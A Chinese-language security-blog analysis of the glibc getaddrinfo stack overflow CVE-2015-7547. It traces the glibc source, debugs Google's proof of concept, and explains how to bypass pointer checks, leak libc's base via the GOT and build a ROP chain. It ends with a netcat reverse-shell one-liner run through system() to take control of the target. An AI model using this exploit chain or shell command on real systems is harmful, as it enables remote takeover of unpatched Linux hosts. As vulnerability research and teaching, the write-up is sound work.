神刀安全网

CVE-2015-7547的漏洞分析

阅读: 10

前一阵glibc出现了一个栈溢出的漏洞,经研究发现,所有Debian、Red Hat以及更多其它Linux发行版,只要glibc版本大于2.9就会受到该溢出漏洞影响。攻击者可以通过该漏洞直接批量获取大量主机权限。本文对CVE-2015-7547漏洞做了细致的分析,供大家学习交流。

在分析之前,先了解一下 glibc是什么?

glibc是GNU发布的libc库,即c运行库。glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。

测试环境Ubuntu Kylin 15.04 + glibc 2.21

1、漏洞分析

1.1 涉及的库函数

Getaddrinfo函数解析URL时,库函数调用过程如下图所示:

CVE-2015-7547的漏洞分析

getaddrinfo解析URL时调用的库函数

从上图可以看出,在_nss_dns_gethostbyname4_r函数中,使用alloca函数在栈上申请了2048字节的空间,在send_dg函数中,使用recvfrom函数接收DNS服务器的的响应包,并将该数据放在*thisansp指向的空间内。*thisansp刚开始指向上述的2048栈空间。

1.2 执行过程解析

下图是根据glibc分析得到的造成栈溢出的原因。

CVE-2015-7547的漏洞分析

漏洞触发流程图

Step1

执行路径:①  ②  ⑥  ⑧ ;

输入:服务器发送2048字节的响应包; ansp = stackbuffer;

anssizp = 2048

影响变量:

thisanssizp = 2048; thisansp = ansp = stackbuffer;

thisresplenp = 2048;

结果:

thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, 2048);

Step2

执行路径:①  ③  ④  ⑥  ⑦  ⑧;

输入:服务器发送10000字节的数据,ansp = stackbuffer;

anssizp = 2048;

thisanssizp = 0; *thisansp = stackbuffer; *thisresplenp = 10000

结果: heapbuffer = malloc(MAXPACKET); *anssizp = MAXPACKET; *thisansp = heapbuffer;

*thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(heapbuffer, MAXPACKET);

Step3

执行路径:①  ②  ⑥  ⑧ ;

输入:服务器发送>2048字节数据,ansp = stackbuffer,

anssizp = MAXPACKET;

thisanssizp = MAXPACKET, *thisansp = ansp = stackuffer;

结果: *thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, MAXPACKET);

MAXPACKET = 65535 >2048 造成栈溢出。

1.3 源码解析

在_nss_dns_gethostbyname4_r函数中: 申请2048字节栈空间,用于存放DNS响应包。 host_buffer.buf = orig_host_buffer = (querfbuf *)alloca(2048); 在send_dg()函数中: [1] 当条件是POLLIN时 thisanssizp = 2048, thisansp = stackbuffer, recvresp1 = 0, recvresp2 = 0, buf2 = 0 1224    } else if (pfd[0].revents & POLLIN) { 1225        int *thisanssizp; 1226        u_char **thisansp; 1227        int *thisresplenp; 1228 1229        if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { 1230            thisanssizp = anssizp;  /*thisanssizp = 2048*/ 1231            thisansp = anscp ?: ansp; /*thisansp = stackbuffer*/ 1232            assert (anscp != NULL || ansp2 == NULL); 1233            thisresplenp = &resplen;                          [2] 比较thisanssizp与MAXPACKET thisanssizp = 2048, MAXPACKET = 65535, thisresplenp = 2048 1262        if (*thisanssizp < MAXPACKET 1263            /* Yes, we test ANSCP here.  If we have two buffers 1264               both will be allocatable.  */ 1265            && anscp 1266            && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0 1267            || *thisanssizp < *thisresplenp)) {  /*条件不满足,所以不会执行malloc*/ 1268            u_char *newp = malloc (MAXPACKET); 1269            if (newp != NULL) { 1270            *anssizp = MAXPACKET; 1271                *thisansp = ans = newp; 1272            } 1273        }  [3] recvfrom接收第一次的数据 1282        *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp, 1283                    *thisanssizp, 0, 1284                    (struct sockaddr *)&from, &fromlen);  [4] 将第一次响应设置为1(成功),然后继续等待 1430        /* Mark which reply we received.  */ 1431        if (recvresp1 == 0 && hp->id == anhp->id) 1432            recvresp1 = 1;   1436        if ((recvresp1 & recvresp2) == 0) { 1437            if (single_request) { 1438                pfd[0].events = POLLOUT; 1439                if (single_request_reopen) { 1440                    __res_iclose (statp, false); 1441                    retval = reopen (statp, terrno, ns); 1442                    if (retval <= 0) 1443                        return retval; 1444                    pfd[0].fd = EXT(statp).nssocks[ns]; 1445                } 1446            } 1447            goto wait; 1448        } [5] 第二次接收 接收了一次响应包之后,buf2不为空。 1229        if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { /*条件不成立*/ 1230            thisanssizp = anssizp;  /*thisanssizp = 2048*/ 1231            thisansp = anscp ?: ansp; 1232            assert (anscp != NULL || ansp2 == NULL); 1233            thisresplenp = &resplen; 1234        } else { 1235            if (*anssizp != MAXPACKET) { 1236                /* No buffer allocated for the first 1237                   reply.  We can try to use the rest 1238                   of the user-provided buffer.  */ 1239 #ifdef _STRING_ARCH_unaligned 1240                *anssizp2 = orig_anssizp - resplen; 1241                *ansp2 = *ansp + resplen;   上述代码并没有申请新的空间,而是试图使用剩余的栈空间来存储第二次响应的数据包。 我们第一次已经使用2048字节的数据将栈空间占满了。 所以*anssizp2 = orig_anssizp - resplen = 0; *ansp2 = *ansp + 0;   [6] 然后使用buffer的计算结果对一些变量进行赋值。 1249            } else { 1250                /* The first reply did not fit into the 1251                   user-provided buffer.  Maybe the second 1252                   answer will.  */ 1253                *anssizp2 = orig_anssizp; 1254                *ansp2 = *ansp; 1255            } 1256 1257            thisanssizp = anssizp2; 1258            thisansp = ansp2; 1259            thisresplenp = resplen2;   thisanssizp = anssizp2 = 0;  thisansp = ansp2 = ansp; thisansp仍然指向2048栈空间的起始位置,但是thisanssizp = 0;  [7] malloc申请堆空间,大小为65535 1262        if (*thisanssizp < MAXPACKET 1263            /* Yes, we test ANSCP here.  If we have two buffers 1264               both will be allocatable.  */ 1265            && anscp 1266            && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0 1267            || *thisanssizp < *thisresplenp)) { 1268            u_char *newp = malloc (MAXPACKET); 1269            if (newp != NULL) { 1270                *anssizp = MAXPACKET; 1271                *thisansp = ans = newp; 1272            } 1273        }   新的响应包是10000字节; thisansp指向新申请的堆空间;*anssizp = 65535; 在这里没有更改thisanssizp的值,这个值仍然是0; 没有更改ansp的值。   [8] 使用recvfrom接收新的数据包 1282        *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp, 1283                    *thisanssizp, 0, 1284                    (struct sockaddr *)&from, &fromlen);  thisanssizp = 0;接收0个字节。   [9]发生错误,退出send_dg()函数 __libc_res_nsend()会多次调用send_dg(),所以,再接收的数据包会继续第一次的路径。 Malloc申请空间的时候,只修改了anssizp的大小,并没有将*ansp修改为malloc的heapbuffer 所以,再接收的数据包就会发生栈溢出。 

2、调试过程

在google给出的poc(该poc只能造成溢出,并不能利用)的基础上进行调试。

Google 的POC文件包括两部分:

[1] .c文件; 主要功能是使用getaddrinfo解析“foo.bar.google.com”。

[2] py文件; 主要功能是绑定53端口,模拟DNS服务器对getaddrinfo的请求进行响应。

将本机的DNS服务器设置为127.0.0.1,执行py文件,调试c文件。

2.1 栈空间布局图

该漏洞是在_nss_dns_gethostbyname4_r函数中使用alloca函数申请了2048字节的栈空间。所以,我们需要关注_nss_dns_gethostbyname4_r函数调用之初与调用过程中的栈空间变化,了解栈空间的内容以及可劫持的EIP。

CVE-2015-7547的漏洞分析

程序断在_nss_dns_gethostbyname4_r函数处的栈空间

CVE-2015-7547的漏洞分析

nss_dns_gethostbyname4_r中调用alloca申请2048大小的栈空间

CVE-2015-7547的漏洞分析

libc_res_nquery函数的参数

从上面几个过程截图,可以大致画出_nss_dns_gethostbyname4_r函数的栈结构图

CVE-2015-7547的漏洞分析

nss_dns_gethostbyname4_r的栈结构图

2.2 free指针处理

了解了_nss_dns_gethostbyname4_r的栈结构之后,首先对其进行溢出测试。修改py文件中TCP发送的data2的数据长度。将数据长度设置为0x800 + 0x6C = 0x86C,将发送的数据修改为0

CVE-2015-7547的漏洞分析

执行结果

根据执行结果可知,在__libc_res_nquery的262行,对hp和hp2进行非零校验。并且可以知道hp或者hp2位于inner variables区域。通过对代码的跟踪与测试,确定了hp 和hp2分别位于0xBFFFE95C和0xBFFFE96C处。

CVE-2015-7547的漏洞分析

hp 和hp2

CVE-2015-7547的漏洞分析

libc_res_nquery的部分源码

所以,hp和hp2分别指向申请的栈空间和堆空间。

CVE-2015-7547的漏洞分析

nss_dns_gethostbyname4_r的部分源码

在_nss_dns_gethostbyname4_r中会检测是否在解析的过程中申请了新的堆空间,如果申请了,则会对该空间进行free。

这两处代码带来的问题是:

[1] 如果将hp和hp2设置为0, 则在__libc_res_nquery中会异常退出;

[2] hp和hp2的值是随机的,所以不能取调试过程的数据直接覆盖;

这里使用的方法是:

.c文件并没有开启PIE保护机制,即.c文件每次执行的基址是固定的。所以,取.c文件中的一个有效地址(0x080482ec)来替换hp和hp2的值,来跳过free的限制。

CVE-2015-7547的漏洞分析

文件编译后的elf文件中的部分内容

测试的结果是:

CVE-2015-7547的漏洞分析

覆盖ph 和ph2

CVE-2015-7547的漏洞分析

正常退出

这一步我们并没有覆盖ph和ph2后面的内容,所以从该指针到返回地址(0xBFFFE9AC)中间的数据是否可以直接覆盖并不知道。在后面的EIP劫持和内存泄露部分将验证这些数据。

2.3 EIP劫持与内存泄露

由于ASLR的存在,要构造ROP链,需要首先获取一些可用的模块基址。

这里首先使用内存泄露的方法。

Getaddrinfo函数的第一个参数是一个指针,getaddrinfo函数在执行的时候,会将该指针指向的内容的字符串发送给服务器,请求服务器进行解析。所以,可以通过劫持EIP,将EIP指向.c文件中的call getaddrinfo指令,将got表中用于存放getaddrinfo地址的数据项作为参数。这样,在服务端发起getaddrinfo的时候,会将getaddrinfo函数的内存地址发送过来。

执行流程如下:

CVE-2015-7547的漏洞分析

内存泄露的交互过程

在客户端执行第二次getaddrinfo的时候,参数是got表中getaddrinfo函数地址存放的位置,这样就导致客户端将getaddrinfo函数地址发送到DNS Server端。Getaddrinfo函数是libc.so.6库中的函数,然后减去偏移便可得到Client端libc.so.6的基址。之后就可以根据这个基址构造ROP链,也可以调用libc.so.6中的其他函数。

CVE-2015-7547的漏洞分析

IDA查看.c编译后的elf文件的got表

3. 漏洞利用

拿到基址之后,便可以根据基址构造ROP链,执行不同的功能。

这里实现了调用system函数,利用nc开一个后门,达到对目标主机完全控制的功能。

执行的具体代码:

 System(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f”);  Exit(1);   

这里使用的是nc作为例子,也可以使用其他的shell工具。执行的效果:

CVE-2015-7547的漏洞分析

执行效果

上述实现了对该漏洞的完整利用过程。

最后的话

小编建议广大用户尽快给操作系统打补丁,并且提醒管理员在修补漏洞的同时,千万不要忘记查看服务器或网站是否已经被入侵,是否存在后门文件等,尽量将损失和风险控制在可控范围内。

如果您需要了解更多内容,可以

加入QQ群:486207500

直接询问:010-68438880-8669

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » CVE-2015-7547的漏洞分析

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮